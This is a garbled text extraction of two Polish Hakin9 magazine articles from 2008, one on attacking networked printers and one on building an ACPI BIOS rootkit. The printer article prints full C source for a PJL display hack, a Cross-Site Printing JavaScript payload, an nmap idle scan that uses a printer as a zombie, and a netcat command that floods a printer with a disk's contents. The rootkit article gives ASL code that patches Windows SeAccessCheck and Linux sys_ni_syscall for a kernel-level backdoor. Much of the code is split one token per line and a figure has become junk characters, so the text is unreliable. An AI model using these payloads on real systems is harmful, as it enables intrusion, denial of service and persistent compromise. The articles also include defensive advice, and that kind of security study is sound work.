pamięci ludzkiej i wtedy tylko będzie kłopot.
Niewielu administratorów sieci zdaje
sobie sprawę z tego, że urządzenia MFP
nie zabezpieczone we właściwy sposób są
łatwym celem ataku, a mogą także zostać
wykorzystane do ataku na inne komputery
w sieci. Teraz przedstawię program
przeznaczony dla systemów uniksowych,
który potrafi wysyłać do drukarki ciąg znaków,
które zostają wyświetlone na jej wyświetlaczu.
Tak naprawdę program robi dokładnie to, co
wcześniej opisane polecenie.
Program (patrz Listing 1) jest dość leciwy,
jednak nadal można spotkać drukarki, które
daje się przy jego pomocy zmodyfikować.
Jak widać, program wcale nie jest bardzo
skomplikowany. Niestety, próba jego
kompilacji w takiej postaci może się nie udać
w zależności od systemu, na jakim będziemy
to robić. W przypadku systemów CentOS
oraz Mandriva, na których kompilowałem ten
Listing 1.
Źródło programu „hphack”
/*
HP Printer Hack
12/8/97 sili@l0pht.com
Compile with -lsocket -lnsl on solaris.
Should compile fine on *BSD & linux.
*/
#
include
<
sys/types.h
>
#
include
<
sys/socket.h
>
#
include
<
netdb.h
>
#
include
<
netinet/in.h
>
#
include
<
stdio.h
>
#define PORT 9100
int
main
(
int
argc,
char
*argv
[])
{
int
sockfd,len,bytes_sent;
/* Sock FD */
struct hostent *host;
/* info from gethostbyname */
struct sockaddr_in dest_addr;
/* Host Address */
char
line
[
100
]
;
if
(
argc !=3
)
{
printf
(
"HP Display Hack
\n
--sili
@l0pht
.com 12/8/97
\n\n
%s
printer
\"
message
\"\
n
"
,argv
[
0
])
;
printf
(
"
\t
Message can be up to 16 characters long (44 on 5si's)
\n
"
)
;
exit
(
1
)
;
}
if
(
(
host=gethostbyname
(
argv
[
1
]))
== NULL
)
{
perror
(
"gethostbyname"
)
;
exit
(
1
)
;
}
printf
(
"HP Display hack -- sili
@l0pht
.com
\n
"
)
;
printf
(
"Hostname:
%s
\n
"
, argv
[
1
])
;
printf
(
"Message:
%s
\n
"
,argv
[
2
])
;
/* Prepare dest_addr */
dest_addr.sin_family= host-
>
h_addrtype;
/* AF_INET from gethostbyname */
dest_addr.sin_port= htons
(
PORT
)
;
/* PORT defined above */
/* Prepare dest_addr */
bcopy
(
host-
>
h_addr,
(
char
*
)
&dest_addr.sin_addr, host-
>
h_length
)
;
bzero
(
&
(
dest_addr.sin_zero
)
, 8
)
;
/* Take care of sin_zero ??? */
/* Get socket */
/* printf ("Grabbing socket....\n"); */
if
((
sockfd=socket
(
AF_INET,SOCK_STREAM,0
))
<
0
)
{
perror
(
"socket"
)
;
exit
(
1
)
;
}
/* Connect !*/
printf
(
"Connecting....
\n
"
)
;
if
(
connect
(
sockfd,
(
struct sockaddr *
)
&dest_addr,
sizeof
(
dest_addr
))
== -1
){
perror
(
"connect"
)
;
exit
(
1
)
;
}
/* Preparing JPL Command */
strcpy
(
line,
"
\0
33
%-
12345X
@PJL
RDYMSG DISPLAY =
\"
"
)
;
strncat
(
line,argv
[
2
]
,44
)
;
strcat
(
line,
"
\"\r\n\0
33
%-
12345X
\r\n
"
)
;
/* Sending data! */
/* printf ("Sending Data...%d\n",strlen(line));*/
/* printf ("Line: %s\n",line); */
bytes_sent=send
(
sockfd,line,
strlen
(
line
)
,0
)
;
printf
(
"Sent
%d
bytes
\n
"
,bytes_sent
)
;
close
(
sockfd
)
;
}
Rysunek 1.
Wydruk przy użyciu usługi telnet
ATAK
36
HAKIN9 6/2008
37
HAKIN9
6/2008
ZAGROŻENIA DRUKAREK
program, koniecznym było dodanie dwóch
plików nagłówkowych stdlib.h oraz string.h
w pierwszych liniach źródła programu. Po
dodaniu tych plików kompilacja przebiega
bez błędów oraz ostrzeżeń i program pracuje
poprawnie.
Drukarka MFP jako zombie
Bardzo ciekawym, a jednocześnie
niebezpiecznym sposobem wykorzystania
urządzeń MFP jest ich zaprzęgnięcie do roli
komputera zombie podczas wykonywania
na przykład skanowania portów na
komputerze, który jest celem ataku. Komputer
zombie pozwala na ukrycie faktycznego
źródła takiego skanowania, co pozwala na
utrudnianie wykrycia sprawcy ataku.
Wykorzystując znany skaner portów
NMAP możemy wykorzystać drukarkę
MFP w taki sposób, że komputer docelowy
będzie w stanie w swoich logach
znaleźć tylko adres IP drukarki jako
źródło skanowania. W takim przypadku,
w razie wykrycia przez administratora
próby skanowania portów na serwerze,
całe podejrzenie padnie na adres
IP drukarki, co znacznie skomplikuje
odnalezienie faktycznego źródła ataku. Po
szczegóły dotyczące techniki Idle Scan
z wykorzystaniem komputera zombie
odsyłam do dokumentacji programu NMAP.
Po wykonaniu polecenia:
nmap -P0 -sI adres_drukarki_MFP adres_
docelowy
na ekranie ujrzymy to, co widać na Rysunku
3, czyli informacje o otwartych portach
oraz o tych, które są filtrowane.
Spamowanie drukarki
Cross-Site Printing (Printer Spamming,
XSP) to określenie nowego exploita
pozwalającego na zaatakowanie
drukarki przy użyciu JavaScript. W
dokumencie autorstwa Aarona Weavera
możemy przeczytać, jak można w prosty
sposób wykonać atak za pomocą
nieskomplikowanych skryptów.
Poniższy skrypt pozwala wysłać
do drukarki dowolny tekst, który w tym
przypadku jest zdaniem: Twoja drukarka
jest teraz moja! (Listing 3.)
Efektem działania takiego skryptu
będzie zdanie Twoja drukarka jest teraz
moja!, wydrukowane czcionką kroju Courier
o rozmiarze 20dpi.
Wykorzystanie tego typu skryptów jest
o tyle niebezpieczne, że nie ogranicza się
tylko do sieci LAN. W przypadku XSP atak
może zostać przeprowadzony na drukarkę w
każdym miejscu. Odpowiednio spreparowana
strona w Internecie, odwiedzana przez
niczego nie podejrzewające osoby może być
uzbrojona w tego rodzaju skrypt, który może
spowodować zalewanie wydrukami obecnej
w sieci lokalnej i podatnej na tego typu ataki
drukarki.
Więcej ciekawych skryptów można
znaleźć w dokumencie CrossSitePrinting.pdf
(link w ramce W Sieci). Przy tej okazji
warto wspomnieć o możliwości zalewania
(ang. flooding) drukarki wydrukami w celu
jej sparaliżowania – co również nie jest
czymś pożądanym. Fakt, że tego typu atak
możliwy jest jedynie z obszaru sieci LAN,
w której drukarka się znajduje, nie oznacza,
że należy go całkowicie ignorować. Ataki
tego typu można określić także mianem
Denial of Service, ponieważ drukarka
zasypana ogromną ilością wydruków z
jednego adresu IP będzie odmawiała
wydruków innym adresom. Ataku takiego
możemy dokonać na przykład przy użyciu
Rysunek 2.
Tekst wydrukowany przy pomocy usługi telnet
Rysunek 3.
Nmap i drukarka MFP jako zombie
Listing 2.
Skrypt Aarona Weavera
#
$
telnet 192.169.1.2 9100
@PJL
RDYMSG DISPLAY=
"INSERT COIN"
^
]
quit
#
$
Listing 3.
Wysyłka dowolnego tekstu
do drukarki
var
msg
=
String.fromCharCode(
27
) +
"%-
12345X@PJL ENTER
LANGUAGE
=
POSTSCRIPT\r\n”
+
"%!PS\r\n"
+
"/Courier findfont\r\n"
+ "
20
scalefont\r\n
"
+
"setfont\r\n"
+ "
72
500
moveto\r\n
"
+
"(Twoja drukarka jest teraz moja!)
show\r\n"
+
"showpage\r\n"
+ String.fromCharCode(
27
) + "%-12345X
ATAK
36
HAKIN9 6/2008
37
HAKIN9
6/2008
ZAGROŻENIA DRUKAREK
kombinacji poleceń
cat
oraz
netcat
,
którym wskażemy wydrukowanie zawartości
na przykład całego dysku czy partycji. Taka
kombinacja poleceń, jak przedstawiona
poniżej, będzie drukowała zwartość dysku.
cat /dev/hda|netcat -q 0 192.168.1.2
9100
Jak można się domyślić, drukowanie takiej
ilości danych nie dość, że spowoduje
szybkie zużycie tonera i papieru, to zablokuje
możliwość wydruku innym użytkownikom.
Może to negatywnie odbić się na jakości
wykonywanej przez nich pracy, jeśli drukarka
jest intensywnie wykorzystywana przez wielu
użytkowników.
Zapobieganie atakom
Czy są sposoby zapobiegania atakom
na urządzenia MFP pracujące w naszych
sieciach? Oczywiście, że znamy takie
metody, często ignorowane przez
administratorów – pewnych, że przecież
to tylko drukarka, która potrafi czasem
jeszcze skanować i wysyłać faksy.
Podstawową rzeczą, którą należy zrobić, by
zminimalizować możliwość takich ataków,
to zdefiniowanie haseł administracyjnych
– zarówno dla usług typu Telnet, jak i dla
usług zarządzania poprzez interfejs webowy.
Kolejna metoda to wyłączenie w urządzeniu
MFP usług, które nie są wykorzystywane.
Jeśli mamy możliwość zarządzania
drukarką poprzez przeglądarkę przy użyciu
protokołu szyfrowanej transmisji HTTPS,
możemy wyłączyć usługę Telnet, która jest
dość łatwa do podsłuchania.
Inny sposób to wykorzystanie dość
często stosowanych w urządzeniach MFP
opcji, pozwalających na zdefiniowanie klasy
adresów (czy wręcz pojedynczych adresów),
mogących wykonywać wydruki – co dość
mocno ogranicza możliwość dokonania
ataku. Przykładem drukarki wyposażonej
w różne rodzaje zabezpieczeń jest produkt
firmy Ricoh. Sprzęt cechuje możliwość
zdefiniowania grupy użytkowników, którzy
mogą korzystać z drukarki po zalogowaniu
się – definiowane są loginy i hasła dla
każdego użytkownika.
Dodatkowo w urządzeniu można
zdefiniować zakresy adresów IP, z których
drukarka będzie przyjmowała wydruki,
co również znacznie zawęża możliwości
ataku na takie urządzenie. Jednak
większość drukarek dostępnych na rynku,
a wykorzystujących usługę JetDirect, jest
podatna na opisane tutaj działania.
W swoich testach używałem
drukarek z wbudowanym serwerem
wydruku (RICOH Aficio MP 161, HP4050,
OKI C3400), ale także printserwerów
(Edimax PS-3101P, D-link DP-301U, HP
JetDirect 500X) z podłączonymi do nich
drukarkami różnego typu. W każdym
przypadku możliwości złośliwego ataku
są inne i zależą od ilości funkcji, w jakie
urządzenie MFP zostało wyposażone
– oraz oczywiście od tego, w jaki sposób
wykorzystano wbudowane możliwości
jego zabezpieczenia.
Podsumowanie
Bezpieczeństwo urządzeń MFP nie jest
tak oczywiste, jak mogłoby się wydawać.
Procedura instalacji i uruchomienia
urządzenia jest bardzo prosta, co bardzo
często powoduje zaniechanie właściwej
konfiguracji, której celem byłoby takie
zabezpieczenie urządzenia, aby mogła z
niego korzystać tylko ściśle określona grupa
użytkowników. Choć coraz więcej urządzeń
tego typu posiada takie możliwości, są
one wykorzystywane tylko w znikomym
procencie urządzeń.
Artykuł tak naprawdę tylko delikatnie
obrazuje, co można zdziałać w kwestii
urządzeń MFP, jednak faktyczne
możliwości nieautoryzowanego dostępu
do takich urządzeń są o wiele większe.
W wielu firmach urządzenia MFP po
początkowym zainstalowaniu nie są
wcale monitorowane, a jedyne prace,
jakie są przy nich wykonywane – to
doładowanie zasobników z papierem
oraz wymiana tonera czy też tuszu.
W przypadku większej liczy takich
urządzeń monitoring to kwestia bardzo
istotna – jednak najważniejszą rzeczą,
którą administratorzy zajmujący się
takimi urządzeniami powinni zrobić,
to zdefiniowanie haseł dostępu do
opcji administracyjnych – tak, aby
zminimalizować możliwości dostania się
do urządzeń osobom niepowołanym.
Warto także zauważyć, że kwestie
rozwiązań zabezpieczających w
urządzeniach MFP powinny być brane
pod uwagę już podczas planowania
zakupu takiego sprzętu. Pozwoli to na
dobranie urządzenia z pożądanym przez
nas poziomem zabezpieczeń, a także
uniknięcie niepotrzebnych problemów, które
mogą być wynikiem działań podobnych do
opisanych w tym artykule.
Grzegorz Błoński
Autor, Grzegorz Błoński, z wykształcenia jest
informatykiem, certyfikowanym specjalistą IBM. Pracuje
w dużej firmie o zasięgu światowym. Zajmuje się
administracją i bezpieczeństwem sieciowym. Jest
członkiem organizacji International Information Systems
Forensics Association (IISFA), ISACA oraz Internet Society.
Kontakt z autorem: mancymonek@mancymonek.pl
W Sieci:
• http://www.phenoelit-us.org/fr/tools.html,
• http://www.darkreading.com/
document.asp?doc_id=142862,
• http://kovaya.com/miscellany/2007/10/
insert-coin.html,
• http://www.news.com/8301-10789_3-
9847334-57.html,
• http://www.net-security.org/dl/articles/
CrossSitePrinting.pdf,
• http://http://www.irongeek.com.
Rysunek 4.
Autoryzacja w urządzeniu
Aficio MP 161
Rysunek 5.
Kontrola dostępu w urządzeniu
Aficio MP 161
38
HAKIN9
ATAK
6/2008
O
dkąd powstały komputery, zaczęto
sobie zadawać pytanie o ekologię
takiego urządzenia. Także koszty jego
działania odgrywały dużą rolę. W związku z tym
już w 1989 roku firma Intel przedstawiła swoją
pierwszą specyfikację standardu zarządzania
energią. Jednak prawdziwy przełom nastąpił
w 1992 roku, wraz z utworzeniem organizacji
Energy Star i idącego z tym standardu APM (ang.
Advanced Power Management – Zaawansowane
Zarządzanie Energią). Umożliwiał on niższy pobór
mocy przez urządzenia dzięki częściowemu lub
całkowitemu wyłączaniu niektórych z nich wtedy,
kiedy nie były w użyciu.
Standard APM był jednak niedoskonały. Z
założenia był on wbudowany bezpośrednio w
pamięć płyty głównej, więc poprawne zarządzanie
energią oraz bezpieczeństwo były niezależne od
systemu operacyjnego i opierały się na kodzie,
którego działanie było nie do końca sprawdzone
– kodzie, który zawierał liczne błędy. System
operacyjny miał niewielki (jeśli nie zerowy) wpływ
na rozdysponowywanie energii na poszczególne
urządzenia.
Odpowiedzią na niedoskonałości APM
było opublikowanie specyfikacji ACPI (ang.
Advanced Configuration and Power Interface
– Zaawansowany Interfejs Konfiguracji Energii)
w roku 1996. Standard ten poprawił większość
niedoskonałości APM. Najważniejszym
usprawnieniem było przesunięcie wszystkich
funkcji związanych z zarządzaniem energią na
KONRAD ZUWAŁA
Z ARTYKUŁU
DOWIESZ SIĘ
czym jest ACPI,
poznasz zasady działania ACPI,
poznasz podstawy języka
skryptowego ACPI,
jak działa rootkit ukrywany w
BIOSie,
jak bronić się przed tego typu
zagrożeniami.
CO POWINIENEŚ
WIEDZIEĆ
znać podstawy działania
komputera,
czym są przerwania i na jakiej
zasadzie one działają,
czym jest rootkit.
poziom systemu operacyjnego, co poprawiało
bezpieczeństwo i uniezależniało zachowanie ACPI
od konkretnej wersji płyty głównej czy określonego
producenta. Dodatkowo wprowadzono język
maszynowy i skryptowy (AML i ASL), które
umożliwiają definiowanie funkcji przydatnych z
punktu widzenia ACPI. Co więcej, skrypty ACPI
uruchamiane są z uprawnieniami najwyższego
poziomu, mają one więc pełen dostęp do
zasobów komputera, mogą modyfikować pamięć
i w razie potrzeby być wywołane z poziomu
systemu operacyjnego. Jednak ACPI ciągle było
krytykowane za zbyt obszerną, liczącą kilkaset
stron specyfikację oraz za podejście do kwestii
bezpieczeństwa związanych z dostępem ACPI do
zasobów komputera.
Specyfikacja ACPI – jak to działa?
Pierwszą specyfikację standardu ACPI
opublikowano w grudniu 1996 roku. Do dnia
dzisiejszego ulegała ona wielokrotnym zmianom,
obecnie obowiązuje już wersja trzecia tegoż
standardu. Jednak ogólne zasady nie uległy
zmianie i obowiązują ciągle od pierwszych wersji
standardu.
Głównym usprawnieniem w stosunku do APM
było przekazanie zarządzania poborem energii
do systemu operacyjnego. Poprzednio to BIOS
zarządzał całym procesem. Kolejną nowinką
było wprowadzenie zaczerpniętej z komputerów
osobistych technologii, dopuszczającej
przeniesienie komputera w stan bardzo niskiego
Stopień trudności
Rootkity ACPI
Rootkity od zawsze były zmorą administratorów sieci. Jednak
wraz z rozwojem technologii ukrywania złośliwego kodu w
systemie, rozwijały się także narzędzia, które go wykrywały. Przed
ich twórcami stanęło teraz nowe zadanie: rootkity, które ukrywają
się w BIOSie, znane pod nazwą rootkitów ACPI.
39
HAKIN9
ROOTKITY ACPI
6/2008
poboru mocy poprzez odłączenie
napięcia od podstawowych podzespołów
– takich, jak pamięć RAM czy dyski
twarde. Umożliwiono również włączanie
komputera za pomocą klawiszy na
klawiaturze, poprzez specjalny klawisz lub
wpisanie odpowiedniej sekwencji klawiszy,
ustawianej w BIOSie komputera.
ACPI wprowadził tzw. stany działania
komputera. Stany te definiują sposób
poboru mocy przez sprzęt. Dzielą się one
na podstany, coraz to bardziej szczegółowo
określając ilość niezbędnej energii.
Podstawowymi stanami są:
• G0 – pracuje – komputer znajduje się
pod zasilaniem i jest w trakcie pracy,
• G1 – uśpiony – stan hibernacji lub
wstrzymania znany np. z komputerów
przenośnych, dzieli się na kolejne
podstany określające jak bardzo
komputer jest uśpiony i jaki jest jego
aktualny pobór napięcia,
• G2 – stan podobny do G3, gdzie
komputer jest wyłączony – z tą
różnicą, że część komponentów może
znajdować się pod napięciem w
celu umożliwienia np. uruchomienia
komputera za pomocą klawisza
spacji, w stanie tym zasilanie musi być
fizycznie podłączone do komputera,
• G3 – stan wyłączenia, brak zasilania,
stan równoważny fizycznemu
odłączeniu zasilania od komputera.
Z punktu widzenia rootkita najważniejszą
częścią standardu ACPI jest dostępność
języków AML i ASL, które to umożliwiają
modyfikację pamięci komputera
(tablic ACPI), co może prowadzić np.
do nadpisania sterownika urządzenia
sieciowego – tak, aby to wysyłało pakiety
na określony adres MAC/IP (w zależności,
czy działamy w sieci lokalnej, czy w sieci
Internet).
Istotnym elementem ACPI w kontekście
działania rootkita są tak zwane tablice (czy
też tabele) ACPI, które zawierają informacje
o różnych urządzeniach zainstalowanych
w komputerze i sposobie ich obsługi.
Możliwość nadpisania tych tablic pozwala
na zaalokowanie kodu rootkita do
odpowiedniego miejsca w pamięci.
Skoro tablice te są istotnym elementem
wymaganym do poprawnego działania
rootkita, należałoby poznać ich rodzaje
i funkcje. Wyróżniamy ponad 10 typów
takich tabel, począwszy od głównej tablicy
urządzeń, wskaźników, tablic rozszerzonych,
firmware. Więcej na ich temat można
znaleźć pod adresami podanymi w ramce
W Sieci. Dla nas jednak tablice te nie będą
istotne, albowiem użyjemy innej metody
– bezpośrednio nadpiszemy pamięć – tak,
aby uzyskać pełne przywileje dla naszego
backdoora. Zostanie przedstawiona
zarówno technika dla systemu Windows,
korzystająca z funkcji dlań specyficznych,
jak również sposób na umieszczenie
takiego BIOSowego backdoora w systemie
z rodziny GNU/Linux, dzięki czemu
większość stacji serwerowych i desktopów
stanie się podatna na nasz atak.
Założenia rootkita ukrytego
w BIOSie – wady i zalety
Zanim przystąpimy do tworzenia
właściwego rootkita, który następnie
zostanie ukryty w BIOSie, musimy zadać
sobie podstawowe pytanie – dlaczego
wybieramy akurat taką metodę? Przecież
można w o wiele łatwiejszy sposób
przygotować działającego backdoora,
dodatkowo ukryć go w istniejącym
systemie plików systemu operacyjnego i
mieć problem z głowy, nie zawracając jej
sobie niepotrzebnymi trudnościami. Co
więc takiego daje nam rootkit ukryty w
BIOSie?
Cóż, niewątpliwą zaletą takiego
rozwiązania jest jego trwałość. Niezależnie
od warunków, w jakich sprzęt będzie
działał, niezależnie od liczby jego rebootów,
awarii zasilania czy wreszcie nawet
przeinstalowania systemu operacyjnego,
nasz kod ciągle pozostanie w komputerze.
Nie musimy zajmować się więc dodaniem
procedur uruchomieniowych rootkita do
procesów startowych zaatakowanego
systemu operacyjnego, nie musimy
obawiać się jego usunięcia wraz z
pojawieniem się świeżej wersji systemu na
maszynie ofiary (oczywiście, jeśli system
będzie zgodny z tym zainstalowanym
poprzednio – rootkit dla Linuksa nie
zadziała na Windows).
Jedną z największych korzyści jest
trudność wykrycia takiego oprogramowania.
Przecież klasyczne programy antywirusowe
czy wykrywacze rootkitów skanują
tylko system plików i pamięć RAM, nie
sprawdzają jednak BIOSu i jego pamięci
flash. Trudno jest więc pozbyć się takiego
szkodnika, jeśli uda mu się zainfekować
nasz komputer. Jest to już zupełnie inną
kwestią, opisywaną zresztą nieco dalej.
Listing 1.
Prototyp funkcji OperationRegion
OperationRegion(Nazwa, Przestrzeń, Offset, Długość);
Listing 2.
Prototyp funkcji SeAccessCheck
BOOLEAN
SeAccessCheck
(
IN
PSECURITY_DESCRIPTOR
SecurityDescriptor
,
IN
PSECURITY_SUBJECT_CONTEXT
SubjectSecurityContext
,
IN
BOOLEAN
SubjectContextLocked
,
IN
ACCESS_MASK
DesiredAccess
,
IN
ACCESS_MASK
PreviouslyGrantedAccess
,
OUT
P
PRIVILEGE_SET
*
Privileges
OPTIONAL
,
IN
PGENERIC_MAPPING
GenericMapping
,
IN
KPROCESSOR_MODE
AccessMode
,
OUT
PACCESS_MASK
GrantedAccess
,
OUT
PNTSTATUS
AccessStatus
);
Listing 3.
Nadpisanie funkcji systemu Windows, przedstawione przez Johna
Heasmana na konferencji BlackHat
OperationRegion(SEAC, SystemMemory, 0xC04048, 0x1)
Field(SEAC, AnyAcc, NoLock, Preserve)
{
FLD1, 0x8
}
Store(0x0, FLD1)
ATAK
40
HAKIN9 6/2008
41
HAKIN9
6/2008
Nie ma jednak rzeczy idealnych. Mimo
niewątpliwych plusów, rootkity ukrywane
w BIOSie mają pewne zasadnicze wady.
Przede wszystkim nasuwa się pytanie
o możliwość umieszczenia takiego
oprogramowania w BIOSie komputera.
Przecież można zablokować możliwość
flashowania BIOSu, a więc zapisywania
czegokolwiek w jego pamięci flash. Często
jest to blokada sprzętowa, polegająca
na ustawieniu jakiejś zworki na płycie
głównej. Sam BIOS nierzadko pozwala
na regulację uprawnień zapisu w pamięci
flash. Aby operacja umieszczania rootkita
zakończyła się sukcesem, musimy więc
mieć pewność, że uda nam się go
zapisać, że płyta główna jest odpowiednio
skonfigurowana i wreszcie, że sam BIOS
na to pozwala. Nadpisywanie BIOSu też
nie jest operacją prostą, musimy być
bowiem wyposażeni w odpowiednie
oprogramowanie i odrobinę wiedzy o
konkretnym układzie.
Sam fakt stworzenia takiego
oprogramowania nasuwa pewne
trudności. Musimy mieć bowiem
pojęcie o niskopoziomowych funkcjach
ACPI, o działaniu samego BIOSu,
o strukturze pamięci atakowanego
systemu operacyjnego i mechanizmach
zabezpieczających, których on używa.
Wreszcie, musimy mieć pomysł na
wklejenie naszego kodu do systemu – tak,
aby za każdym razem się poprawnie
uruchamiał.
Znając już wady i zalety takiego
rozwiązania, możemy z czystym
sumieniem przystąpić do tworzenia
rootkita – o ile oczywiście uznamy, że
nakład pracy, który należy włożyć w jego
opracowanie będzie odpowiedni do
uzyskanego wyniku.
AML – klucz
do bram systemu
AML, czyli język maszynowy ACPI, jest
językiem programowania w pełnym
tego słowa znaczeniu. Posiada on
konstrukcje logiczne, możliwość kontroli
przepływu danych, implementuje operacje
bitowe, możliwość wykonywania działań
arytmetycznych czy synchronizacji
wykonywanych operacji. Dostępne są
także różne typy danych – zarówno do
odczytu, jak i zapisu. Daje on więc całkiem
spore możliwości potencjalnemu intruzowi,
który chciałby wykorzystać go w celach
innych niż pierwotne przeznaczenie.
Użyjemy w zasadzie tylko jednej funkcji,
którą doskonale opisuje John Heasman w
swojej prezentacji z konferencji BlackHat.
Prototyp funkcji przedstawiono na Listingu 1.
Funkcja ta została zaprojektowania
w celu udostępnienia prostej metody do
tworzenia interfejsów dla urządzeń. Prościej
mówiąc, jest ona niezwykle przydatna,
gdy chcemy w prosty sposób obsłużyć
zachowanie określonego urządzenia,
związane najczęściej z pobieraniem przez
nie mocy. Funkcja ta przyjmuje cztery
parametry:
• Nazwa – ogólna nazwa obszaru w
pamięci, do którego się odwołujemy;
określamy, jakiego urządzenia jest to
pamięć,
• Przestrzeń – przestrzeń w pamięci
Nazwa, której dotyczy nasze odwołanie.
Poprawnymi polami przestrzeni
pamięci operacyjnej (czyli tej, do której
będziemy się odwoływać) są SystemIO,
SystemMemory, CMOS, PCI_Config,
SMBus,
• Offset – jak sama nazwa wskazuje, jest
to przesunięcie względem początku
pamięci,
• Długość – ilość zapisywanych/
czytanych bajtów.
Warto wspomnieć, że funkcja ta może
służyć zarówno do zapisu informacji,
jak i do ich odczytu. Dodatkowo, nazwy i
przestrzenie, zwane zgodnie z nazwą funkcji
regionami, można dzielić na mniejsze
jednostki zwane polami (ang. Field).
Co w praktyce daje nam ta funkcja?
Cóż, dosłownie nieograniczone możliwości
modyfikowania pamięci. Dzieje się tak
dlatego, że sterownik ACPI działa z
nieograniczonymi przywilejami, może
więc modyfikować dowolne miejsce w
pamięci. Oczywiście nie pozostanie to
niezauważone, jednak o tym wspomnimy
w części artykułu poświęconej wykrywaniu
tego typu ataków.
Nasz rootkit wykorzysta jedną z
koncepcji Johna Heasmana z konferencji
BlackHat, gdzie pokazał on, w jaki sposób
możemy utworzyć takiego właśnie
backdoora. Oczywiście jest to tylko
jedna z wielu dostępnych metod, jednak
opisywanie każdej z nich nie miałoby
większego sensu ze względu na dużą
rozległość tematu.
Rysunek 1.
Struktura ACPI na komputerze
��������������������
����������������
�����������
�������������
�������
������
���������
�����������
�������������
������������
������������������
����������
��������������
�������
�������������
���������
�����������
W Sieci:
• http://www.acpi.info – strona domowa ACPI,
• http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Heasman.pdf –
prezentacja Johna Heasmana na konferencji BlackHat,
• http://www.osronline.com/DDKx/kmarch/k110_42wi.htm – opis funkcji SeAccessCheck,
• http://pl.wikipedia.org/wiki/ACPI – strona Wikipedii dotycząca ACPI. Godna lektury.
ATAK
40
HAKIN9 6/2008
41
HAKIN9
6/2008
Wiemy już, jak stworzymy rootkita,
pozostaje jeszcze dobór odpowiednich
narzędzi. Niezbędny będzie kompilator
ASL/AML, który można bezpłatnie pobrać
ze stron firmy Microsoft, jak również z
oficjalnej strony opisującej standard
ACPI. Linki te podane są w ramce W
Sieci. Niezbędny będzie również dobry
asembler i dezasembler. Dlaczego? Otóż,
aby umieścić coś w pamięci flash BIOSu,
musimy go w jakiś sposób nadpisać.
Oznacza to, że należy dołączyć nasz kod
do kodu BIOSu producenta płyty głównej,
czyli mówiąc wprost – niezbędna jest jego
dezasemblacja i ponowna kompilacja
wraz z dołączonym kodem. Warto
dodać, iż sam BIOS zawiera interpreter
niezbędny do wykonania naszego kodu
ASL/AML. Doskonałym dezasemblerem
jest IDA Pro Free, którą można
pobrać ze strony producenta, również
wyszczególnionej w ramce W Sieci.
Zaopatrzeni w odpowiednie narzędzia,
możemy przystąpić do demonstracji
przykładowego kodu backdoora, wraz
z opisem jego działania. Będziemy się
ciągle opierać na badaniach Johna
Heasmana, zaprezentowanych podczas
konferencji BlackHat.
Budujemy rootkita
Pierwszą i zasadniczą kwestią, która
decyduje o kształcie rootkita, jest system
operacyjny, który ma paść jego ofiarą.
Różne będą bowiem metody obejścia
zabezpieczeń Windows, różne – Linuksa.
Chodzi generalnie o włączenie naszego
rootkita do pamięci – tak, aby kod w nim
zapisany zaczął się wykonywać.
Zacznijmy od systemu Windows – jako,
że jest on chyba nieco bardziej popularny
od darmowego Linuksa. Zgodnie z tym,
co przedstawił Heasman, w systemach z
rodziny NT mamy do czynienia z funkcją
SeAccessCheck
, której zadaniem jest
sprawdzenie, czy aktualnie działający
proces ma pełne, czy ograniczone prawa
dostępu do zasobów systemowych.
Prototyp tejże funkcji przedstawiony jest na
Listingu 2.
Jak widać na Listingu 2., funkcja
przyjmuje dużą ilość parametrów.
Większości z nich nie trzeba opisywać,
albowiem ich nazwy są na tyle intuicyjne,
że nawet mało wprawny użytkownik będzie
wiedział, jakie jest ich zastosowanie i
znaczenie.
Dla nas interesujący jest parametr
AccessMode
, który odpowiada za
ustalenie, czy wywołanie jest dokonywane
z przestrzeni jądra systemu, otrzymując
tym samym pełne uprawnienia, czy też
z poziomu przestrzeni użytkownika, czyli
ze sporymi ograniczeniami w swobodzie
wykonywania kodu. Jasnym jest więc,
że musimy w jakiś sposób ustawić dla
naszego rootkita odpowiednią wartość
tego parametru. Użyjemy do tego
celu skryptowego języka ACPI, tak, jak
zaprezentował Heasman na konferencji
BlackHat. Odpowiednie wywołanie funkcji
zaprezentowane jest na Listingu 3.
Jak widać na listingu, funkcja nadpisuje
adres w pamięci, w którym rezyduje
Listing 4.
Nadpisanie funkcji obsługi nieużywanego przerwania – sys_ni_syscall()
OperationRegion(NISC, SystemMemory, 0x12BAE0, 0x40)
{
NICD, 0x40
}
Store(Buffer () {0xFF, 0xD3, 0xC3, 0x90, 0x90, 0x90, 0x90, 0x90}, NICD)
Listing 5.
Uruchomienie backdoora
#define UNUSED_INT 0x11 // nieużywane przerwanie
#include
<syscall.h>
int
backdoor
()
{
//
tutaj
jest
kod
naszego
backdoora
return
-
ENOSYS
;
//
kod
b
łę
du
zwi
ą
zany
z
obs
ł
ug
ą
nieistniej
ą
cego
przerwania
}
int
main
()
{
return
(
syscall
(
UNUSED_INT
,
&
backdoor
));
}
ATAK
42
HAKIN9 6/2008
Windowsowe sprawdzenie przestrzeni
wykonywania rozkazu. Nadpisując
konkretne pole funkcji odpowiednią
wartością, wymusimy traktowanie kodu
naszego rootkita jako uprzywilejowanego,
wywoływanego przez kernel. Stąd
uzyskujemy pełne prawa pracy na systemie
Windows, tak, jakbyśmy dysponowali
rootkitem przestrzeni kernela. Jednak
zaletą naszego rozwiązania jest fakt, że
rootkit będzie bardzo trudny do wykrycia i
usunięcia z poziomu systemu Windows.
Widać jednak, że skonstruowanie
takiego rootkita wiąże się z dużym
wysiłkiem i nakładem pracy. Dodatkowo,
gdyby nie prezentacja wielokrotnie
cytowanego i wspominanego przeze
mnie Johna Heasmana, trudnym byłoby
dojście do tego wszystkiego i samodzielne
odkrycie tajników rootkita ACPI.
W systemie Linux Heasman
zaproponował inny rodzaj exploitacji
mającej na celu przejęcie uprawnień
jądra systemu. Metoda opiera się na
wykorzystaniu specjalnej funkcji systemu
Linux, której zadaniem jest obsługa
nieużywanych przerwań. Musimy więc
odwołać się do nieużywanego przerwania
systemowego, aby wywołać tę właśnie
funkcję. Oczywiście, zostanie ona
nadpisana, prowadząc do uruchomienia
naszego rootkita zamiast funkcji obsługi.
Kod przedstawiony jest na Listingach 4. i 5.
Jak widać na Listingu 4. nadpisujemy
adres funkcji tak, by zamiast niej wywołana
została funkcja, której adres rezyduje w
rejestrze EBX – dane zapisane do bufora
to nic innego, jak asemblerowe opcody
instrukcji
call ebx; retn; nop; nop;
nop; nop; nop
. Ciało funkcji zostało
więc nadpisane – tak, by wywołała ona
zawartość rejestru EBX – to właśnie
on jest używany przy przekazywaniu
argumentów do funkcji przerwań przez
funkcję
syscall()
. Odpowiednie jej
